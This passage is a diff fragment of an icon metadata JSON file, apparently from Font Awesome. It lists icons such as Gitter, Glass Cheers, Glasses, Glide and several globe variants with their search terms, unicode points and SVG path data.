24.9c-3.1-8.9-15.7-8.9-18.9 0l-56.6 174.8h132z" + } + }, + "free": [ + "brands" + ] + }, + "gitter": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f426", + "label": "Gitter", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860992, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z" + } + }, + "free": [ + "brands" + ] + }, + "glass-cheers": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alcohol", + "bar", + "beverage", + "celebration", + "champagne", + "clink", + "drink", + "holiday", + "new year's eve", + "party", + "toast" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f79f", + "label": "Glass Cheers", + "svg": { + "solid": { + "last_modified": 1628088635505, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M639.4 433.6c-8.4-20.4-31.8-30.1-52.2-21.6l-22.1 9.2-38.7-101.9c47.9-35 64.8-100.3 34.5-152.8L474.3 16c-8-13.9-25.1-19.7-40-13.6L320 49.8 205.7 2.4c-14.9-6.2-32-.3-40 13.6L79.1 166.5C48.9 219 65.7 284.3 113.6 319.2L74.9 421.1l-22.1-9.2c-20.4-8.5-43.7 1.2-52.2 21.6-1.7 4.1.2 8.8 4.3 10.5l162.3 67.4c4.1 1.7 8.7-.2 10.4-4.3 8.4-20.4-1.2-43.8-21.6-52.3l-22.1-9.2L173.3 342c4.4.5 8.8 1.3 13.1 1.3 51.7 0 99.4-33.1 113.4-85.3l20.2-75.4 20.2 75.4c14 52.2 61.7 85.3 113.4 85.3 4.3 0 8.7-.8 13.1-1.3L506 445.6l-22.1 9.2c-20.4 8.5-30.1 31.9-21.6 52.3 1.7 4.1 6.4 6 10.4 4.3L635.1 444c4-1.7 6-6.3 4.3-10.4zM275.9 162.1l-112.1-46.5 36.5-63.4 94.5 39.2-18.9 70.7zm88.2 0l-18.9-70.7 94.5-39.2 36.5 63.4-112.1 46.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M639.4 433.6c-8.4-20.4-31.8-30.1-52.2-21.6l-22.1 9.2-38.7-101.9c47.9-35 64.8-100.3 34.5-152.8L474.3 16c-8-13.9-25.1-19.7-40-13.6L320 49.8 205.7 2.4c-14.9-6.2-32-.3-40 13.6L79.1 166.5C48.9 219 65.7 284.3 113.6 319.2L74.9 421.1l-22.1-9.2c-20.4-8.5-43.7 1.2-52.2 21.6-1.7 4.1.2 8.8 4.3 10.5l162.3 67.4c4.1 1.7 8.7-.2 10.4-4.3 8.4-20.4-1.2-43.8-21.6-52.3l-22.1-9.2L173.3 342c4.4.5 8.8 1.3 13.1 1.3 51.7 0 99.4-33.1 113.4-85.3l20.2-75.4 20.2 75.4c14 52.2 61.7 85.3 113.4 85.3 4.3 0 8.7-.8 13.1-1.3L506 445.6l-22.1 9.2c-20.4 8.5-30.1 31.9-21.6 52.3 1.7 4.1 6.4 6 10.4 4.3L635.1 444c4-1.7 6-6.3 4.3-10.4zM275.9 162.1l-112.1-46.5 36.5-63.4 94.5 39.2-18.9 70.7zm88.2 0l-18.9-70.7 94.5-39.2 36.5 63.4-112.1 46.5z" + } + }, + "free": [ + "solid" + ] + }, + "glass-martini": { + "changes": [ + "1", + "5.0.0", + "5.1.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "alcohol", + "bar", + "beverage", + "drink", + "liquor" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f000", + "label": "Martini Glass", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635506, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6z" + } + }, + "free": [ + "solid" + ] + }, + "glass-martini-alt": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alcohol", + "bar", + "beverage", + "drink", + "liquor" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f57b", + "label": "Alternate Glass Martini", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635505, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6zM443.77 48l-48 48H116.24l-48-48h375.53z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6zM443.77 48l-48 48H116.24l-48-48h375.53z" + } + }, + "free": [ + "solid" + ] + }, + "glass-whiskey": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alcohol", + "bar", + "beverage", + "bourbon", + "drink", + "liquor", + "neat", + "rye", + "scotch", + "whisky" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7a0", + "label": "Glass Whiskey", + "svg": { + "solid": { + "last_modified": 1628088635506, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 32H32C12.5 32-2.4 49.2.3 68.5l56 356.5c4.5 31.5 31.5 54.9 63.4 54.9h273c31.8 0 58.9-23.4 63.4-54.9l55.6-356.5C514.4 49.2 499.5 32 480 32zm-37.4 64l-30 192h-313L69.4 96h373.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480 32H32C12.5 32-2.4 49.2.3 68.5l56 356.5c4.5 31.5 31.5 54.9 63.4 54.9h273c31.8 0 58.9-23.4 63.4-54.9l55.6-356.5C514.4 49.2 499.5 32 480 32zm-37.4 64l-30 192h-313L69.4 96h373.2z" + } + }, + "free": [ + "solid" + ] + }, + "glasses": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "hipster", + "nerd", + "reading", + "sight", + "spectacles", + "vision" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f530", + "label": "Glasses", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635507, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M574.1 280.37L528.75 98.66c-5.91-23.7-21.59-44.05-43-55.81-21.44-11.73-46.97-14.11-70.19-6.33l-15.25 5.08c-8.39 2.79-12.92 11.86-10.12 20.24l5.06 15.18c2.79 8.38 11.85 12.91 20.23 10.12l13.18-4.39c10.87-3.62 23-3.57 33.16 1.73 10.29 5.37 17.57 14.56 20.37 25.82l38.46 153.82c-22.19-6.81-49.79-12.46-81.2-12.46-34.77 0-73.98 7.02-114.85 26.74h-73.18c-40.87-19.74-80.08-26.75-114.86-26.75-31.42 0-59.02 5.65-81.21 12.46l38.46-153.83c2.79-11.25 10.09-20.45 20.38-25.81 10.16-5.3 22.28-5.35 33.15-1.73l13.17 4.39c8.38 2.79 17.44-1.74 20.23-10.12l5.06-15.18c2.8-8.38-1.73-17.45-10.12-20.24l-15.25-5.08c-23.22-7.78-48.75-5.41-70.19 6.33-21.41 11.77-37.09 32.11-43 55.8L1.9 280.37A64.218 64.218 0 0 0 0 295.86v70.25C0 429.01 51.58 480 115.2 480h37.12c60.28 0 110.37-45.94 114.88-105.37l2.93-38.63h35.75l2.93 38.63C313.31 434.06 363.4 480 423.68 480h37.12c63.62 0 115.2-50.99 115.2-113.88v-70.25c0-5.23-.64-10.43-1.9-15.5zm-370.72 89.42c-1.97 25.91-24.4 46.21-51.06 46.21H115.2C86.97 416 64 393.62 64 366.11v-37.54c18.12-6.49 43.42-12.92 72.58-12.92 23.86 0 47.26 4.33 69.93 12.92l-3.13 41.22zM512 366.12c0 27.51-22.97 49.88-51.2 49.88h-37.12c-26.67 0-49.1-20.3-51.06-46.21l-3.13-41.22c22.67-8.59 46.08-12.92 69.95-12.92 29.12 0 54.43 6.44 72.55 12.93v37.54z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M574.1 280.37L528.75 98.66c-5.91-23.7-21.59-44.05-43-55.81-21.44-11.73-46.97-14.11-70.19-6.33l-15.25 5.08c-8.39 2.79-12.92 11.86-10.12 20.24l5.06 15.18c2.79 8.38 11.85 12.91 20.23 10.12l13.18-4.39c10.87-3.62 23-3.57 33.16 1.73 10.29 5.37 17.57 14.56 20.37 25.82l38.46 153.82c-22.19-6.81-49.79-12.46-81.2-12.46-34.77 0-73.98 7.02-114.85 26.74h-73.18c-40.87-19.74-80.08-26.75-114.86-26.75-31.42 0-59.02 5.65-81.21 12.46l38.46-153.83c2.79-11.25 10.09-20.45 20.38-25.81 10.16-5.3 22.28-5.35 33.15-1.73l13.17 4.39c8.38 2.79 17.44-1.74 20.23-10.12l5.06-15.18c2.8-8.38-1.73-17.45-10.12-20.24l-15.25-5.08c-23.22-7.78-48.75-5.41-70.19 6.33-21.41 11.77-37.09 32.11-43 55.8L1.9 280.37A64.218 64.218 0 0 0 0 295.86v70.25C0 429.01 51.58 480 115.2 480h37.12c60.28 0 110.37-45.94 114.88-105.37l2.93-38.63h35.75l2.93 38.63C313.31 434.06 363.4 480 423.68 480h37.12c63.62 0 115.2-50.99 115.2-113.88v-70.25c0-5.23-.64-10.43-1.9-15.5zm-370.72 89.42c-1.97 25.91-24.4 46.21-51.06 46.21H115.2C86.97 416 64 393.62 64 366.11v-37.54c18.12-6.49 43.42-12.92 72.58-12.92 23.86 0 47.26 4.33 69.93 12.92l-3.13 41.22zM512 366.12c0 27.51-22.97 49.88-51.2 49.88h-37.12c-26.67 0-49.1-20.3-51.06-46.21l-3.13-41.22c22.67-8.59 46.08-12.92 69.95-12.92 29.12 0 54.43 6.44 72.55 12.93v37.54z" + } + }, + "free": [ + "solid" + ] + }, + "glide": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2a5", + "label": "Glide", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860993, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z" + } + }, + "free": [ + "brands" + ] + }, + "glide-g": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2a6", + "label": "Glide G", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860992, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z" + } + }, + "free": [ + "brands" + ] + }, + "globe": { + "changes": [ + "2", + "5.0.0", + "5.0.9", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "all", + "coordinates", + "country", + "earth", + "global", + "gps", + "language", + "localize", + "location", + "map", + "online", + "place", + "planet", + "translate", + "travel", + "world" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0ac", + "label": "Globe", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635509, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M336.5 160C322 70.7 287.8 8 248 8s-74 62.7-88.5 152h177zM152 256c0 22.2 1.2 43.5 3.3 64h185.3c2.1-20.5 3.3-41.8 3.3-64s-1.2-43.5-3.3-64H155.3c-2.1 20.5-3.3 41.8-3.3 64zm324.7-96c-28.6-67.9-86.5-120.4-158-141.6 24.4 33.8 41.2 84.7 50 141.6h108zM177.2 18.4C105.8 39.6 47.8 92.1 19.3 160h108c8.7-56.9 25.5-107.8 49.9-141.6zM487.4 192H372.7c2.1 21 3.3 42.5 3.3 64s-1.2 43-3.3 64h114.6c5.5-20.5 8.6-41.8 8.6-64s-3.1-43.5-8.5-64zM120 256c0-21.5 1.2-43 3.3-64H8.6C3.2 212.5 0 233.8 0 256s3.2 43.5 8.6 64h114.6c-2-21-3.2-42.5-3.2-64zm39.5 96c14.5 89.3 48.7 152 88.5 152s74-62.7 88.5-152h-177zm159.3 141.6c71.4-21.2 129.4-73.7 158-141.6h-108c-8.8 56.9-25.6 107.8-50 141.6zM19.3 352c28.6 67.9 86.5 120.4 158 141.6-24.4-33.8-41.2-84.7-50-141.6h-108z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M336.5 160C322 70.7 287.8 8 248 8s-74 62.7-88.5 152h177zM152 256c0 22.2 1.2 43.5 3.3 64h185.3c2.1-20.5 3.3-41.8 3.3-64s-1.2-43.5-3.3-64H155.3c-2.1 20.5-3.3 41.8-3.3 64zm324.7-96c-28.6-67.9-86.5-120.4-158-141.6 24.4 33.8 41.2 84.7 50 141.6h108zM177.2 18.4C105.8 39.6 47.8 92.1 19.3 160h108c8.7-56.9 25.5-107.8 49.9-141.6zM487.4 192H372.7c2.1 21 3.3 42.5 3.3 64s-1.2 43-3.3 64h114.6c5.5-20.5 8.6-41.8 8.6-64s-3.1-43.5-8.5-64zM120 256c0-21.5 1.2-43 3.3-64H8.6C3.2 212.5 0 233.8 0 256s3.2 43.5 8.6 64h114.6c-2-21-3.2-42.5-3.2-64zm39.5 96c14.5 89.3 48.7 152 88.5 152s74-62.7 88.5-152h-177zm159.3 141.6c71.4-21.2 129.4-73.7 158-141.6h-108c-8.8 56.9-25.6 107.8-50 141.6zM19.3 352c28.6 67.9 86.5 120.4 158 141.6-24.4-33.8-41.2-84.7-50-141.6h-108z" + } + }, + "free": [ + "solid" + ] + }, + "globe-africa": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "all", + "country", + "earth", + "global", + "gps", + "language", + "localize", + "location", + "map", + "online", + "place", + "planet", + "translate", + "travel", + "world" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f57c", + "label": "Globe with Africa shown", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635507, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm160 215.5v6.93c0 5.87-3.32 11.24-8.57 13.86l-15.39 7.7a15.485 15.485 0 0 1-15.53-.97l-18.21-12.14a15.52 15.52 0 0 0-13.5-1.81l-2.65.88c-9.7 3.23-13.66 14.79-7.99 23.3l13.24 19.86c2.87 4.31 7.71 6.9 12.89 6.9h8.21c8.56 0 15.5 6.94 15.5 15.5v11.34c0 3.35-1.09 6.62-3.1 9.3l-18.74 24.98c-1.42 1.9-2.39 4.1-2.83 6.43l-4.3 22.83c-.62 3.29-2.29 6.29-4.76 8.56a159.608 159.608 0 0 0-25 29.16l-13.03 19.55a27.756 27.756 0 0 1-23.09 12.36c-10.51 0-20.12-5.94-24.82-15.34a78.902 78.902 0 0 1-8.33-35.29V367.5c0-8.56-6.94-15.5-15.5-15.5h-25.88c-14.49 0-28.38-5.76-38.63-16a54.659 54.659 0 0 1-16-38.63v-14.06c0-17.19 8.1-33.38 21.85-43.7l27.58-20.69a54.663 54.663 0 0 1 32.78-10.93h.89c8.48 0 16.85 1.97 24.43 5.77l14.72 7.36c3.68 1.84 7.93 2.14 11.83.84l47.31-15.77c6.33-2.11 10.6-8.03 10.6-14.7 0-8.56-6.94-15.5-15.5-15.5h-10.09c-4.11 0-8.05-1.63-10.96-4.54l-6.92-6.92a15.493 15.493 0 0 0-10.96-4.54H199.5c-8.56 0-15.5-6.94-15.5-15.5v-4.4c0-7.11 4.84-13.31 11.74-15.04l14.45-3.61c3.74-.94 7-3.23 9.14-6.44l8.08-12.11c2.87-4.31 7.71-6.9 12.89-6.9h24.21c8.56 0 15.5-6.94 15.5-15.5v-21.7C359.23 71.63 422.86 131.02 441.93 208H423.5c-8.56 0-15.5 6.94-15.5 15.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm160 215.5v6.93c0 5.87-3.32 11.24-8.57 13.86l-15.39 7.7a15.485 15.485 0 0 1-15.53-.97l-18.21-12.14a15.52 15.52 0 0 0-13.5-1.81l-2.65.88c-9.7 3.23-13.66 14.79-7.99 23.3l13.24 19.86c2.87 4.31 7.71 6.9 12.89 6.9h8.21c8.56 0 15.5 6.94 15.5 15.5v11.34c0 3.35-1.09 6.62-3.1 9.3l-18.74 24.98c-1.42 1.9-2.39 4.1-2.83 6.43l-4.3 22.83c-.62 3.29-2.29 6.29-4.76 8.56a159.608 159.608 0 0 0-25 29.16l-13.03 19.55a27.756 27.756 0 0 1-23.09 12.36c-10.51 0-20.12-5.94-24.82-15.34a78.902 78.902 0 0 1-8.33-35.29V367.5c0-8.56-6.94-15.5-15.5-15.5h-25.88c-14.49 0-28.38-5.76-38.63-16a54.659 54.659 0 0 1-16-38.63v-14.06c0-17.19 8.1-33.38 21.85-43.7l27.58-20.69a54.663 54.663 0 0 1 32.78-10.93h.89c8.48 0 16.85 1.97 24.43 5.77l14.72 7.36c3.68 1.84 7.93 2.14 11.83.84l47.31-15.77c6.33-2.11 10.6-8.03 10.6-14.7 0-8.56-6.94-15.5-15.5-15.5h-10.09c-4.11 0-8.05-1.63-10.96-4.54l-6.92-6.92a15.493 15.493 0 0 0-10.96-4.54H199.5c-8.56 0-15.5-6.94-15.5-15.5v-4.4c0-7.11 4.84-13.31 11.74-15.04l14.45-3.61c3.74-.94 7-3.23 9.14-6.44l8.08-12.11c2.87-4.31 7.71-6.9 12.89-6.9h24.21c8.56 0 15.5-6.94 15.5-15.5v-21.7C359.23 71.63 422.86 131.02 441.93 208H423.5c-8.56 0-15.5 6.94-15.5 15.5z" + } + }, + "free": [ + "solid" + ] + }, + "globe-americas": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "all", + "country", + "earth", + "global", + "gps", + "language", + "localize", + "location", + "map", + "online", + "place", + "planet", + "translate", + "travel", + "world" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f57d", + "label": "Globe with Americas shown", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635507, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm82.29 357.6c-3.9 3.88-7.99 7.95-11.31 11.28-2.99 3-5.1 6.7-6.17 10.71-1.51 5.66-2.73 11.38-4.77 16.87l-17.39 46.85c-13.76 3-28 4.69-42.65 4.69v-27.38c1.69-12.62-7.64-36.26-22.63-51.25-6-6-9.37-14.14-9.37-22.63v-32.01c0-11.64-6.27-22.34-16.46-27.97-14.37-7.95-34.81-19.06-48.81-26.11-11.48-5.78-22.1-13.14-31.65-21.75l-.8-.72a114.792 114.792 0 0 1-18.06-20.74c-9.38-13.77-24.66-36.42-34.59-51.14 20.47-45.5 57.36-82.04 103.2-101.89l24.01 12.01C203.48 89.74 216 82.01 216 70.11v-11.3c7.99-1.29 16.12-2.11 24.39-2.42l28.3 28.3c6.25 6.25 6.25 16.38 0 22.63L264 112l-10.34 10.34c-3.12 3.12-3.12 8.19 0 11.31l4.69 4.69c3.12 3.12 3.12 8.19 0 11.31l-8 8a8.008 8.008 0 0 1-5.66 2.34h-8.99c-2.08 0-4.08.81-5.58 2.27l-9.92 9.65a8.008 8.008 0 0 0-1.58 9.31l15.59 31.19c2.66 5.32-1.21 11.58-7.15 11.58h-5.64c-1.93 0-3.79-.7-5.24-1.96l-9.28-8.06a16.017 16.017 0 0 0-15.55-3.1l-31.17 10.39a11.95 11.95 0 0 0-8.17 11.34c0 4.53 2.56 8.66 6.61 10.69l11.08 5.54c9.41 4.71 19.79 7.16 30.31 7.16s22.59 27.29 32 32h66.75c8.49 0 16.62 3.37 22.63 9.37l13.69 13.69a30.503 30.503 0 0 1 8.93 21.57 46.536 46.536 0 0 1-13.72 32.98zM417 274.25c-5.79-1.45-10.84-5-14.15-9.97l-17.98-26.97a23.97 23.97 0 0 1 0-26.62l19.59-29.38c2.32-3.47 5.5-6.29 9.24-8.15l12.98-6.49C440.2 193.59 448 223.87 448 256c0 8.67-.74 17.16-1.82 25.54L417 274.25z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm82.29 357.6c-3.9 3.88-7.99 7.95-11.31 11.28-2.99 3-5.1 6.7-6.17 10.71-1.51 5.66-2.73 11.38-4.77 16.87l-17.39 46.85c-13.76 3-28 4.69-42.65 4.69v-27.38c1.69-12.62-7.64-36.26-22.63-51.25-6-6-9.37-14.14-9.37-22.63v-32.01c0-11.64-6.27-22.34-16.46-27.97-14.37-7.95-34.81-19.06-48.81-26.11-11.48-5.78-22.1-13.14-31.65-21.75l-.8-.72a114.792 114.792 0 0 1-18.06-20.74c-9.38-13.77-24.66-36.42-34.59-51.14 20.47-45.5 57.36-82.04 103.2-101.89l24.01 12.01C203.48 89.74 216 82.01 216 70.11v-11.3c7.99-1.29 16.12-2.11 24.39-2.42l28.3 28.3c6.25 6.25 6.25 16.38 0 22.63L264 112l-10.34 10.34c-3.12 3.12-3.12 8.19 0 11.31l4.69 4.69c3.12 3.12 3.12 8.19 0 11.31l-8 8a8.008 8.008 0 0 1-5.66 2.34h-8.99c-2.08 0-4.08.81-5.58 2.27l-9.92 9.65a8.008 8.008 0 0 0-1.58 9.31l15.59 31.19c2.66 5.32-1.21 11.58-7.15 11.58h-5.64c-1.93 0-3.79-.7-5.24-1.96l-9.28-8.06a16.017 16.017 0 0 0-15.55-3.1l-31.17 10.39a11.95 11.95 0 0 0-8.17 11.34c0 4.53 2.56 8.66 6.61 10.69l11.08 5.54c9.41 4.71 19.79 7.16 30.31 7.16s22.59 27.29 32 32h66.75c8.49 0 16.62 3.37 22.63 9.37l13.69 13.69a30.503 30.503 0 0 1 8.93 21.57 46.536 46.536 0 0 1-13.72 32.98zM417 274.25c-5.79-1.45-10.84-5-14.15-9.97l-17.98-26.97a23.97 23.97 0 0 1 0-26.62l19.59-29.38c2.32-3.47 5.5-6.29 9.24-8.15l12.98-6.49C440.2 193.59 448 223.87 448 256c0 8.67-.74 17.16-1.82 25.54L417 274.25z" + } + }, + "free": [ + "solid" + ] + }, + "globe-asia": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "all", + "country", + "earth", + "global", + "gps", + "language", + "localize", + "location", + "map", + "online", + "place", + "planet", + "translate", + "travel", + "world" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f57e", + "label": "Globe with Asia shown", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635507, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm-11.34 240.23c-2.89 4.82-8.1 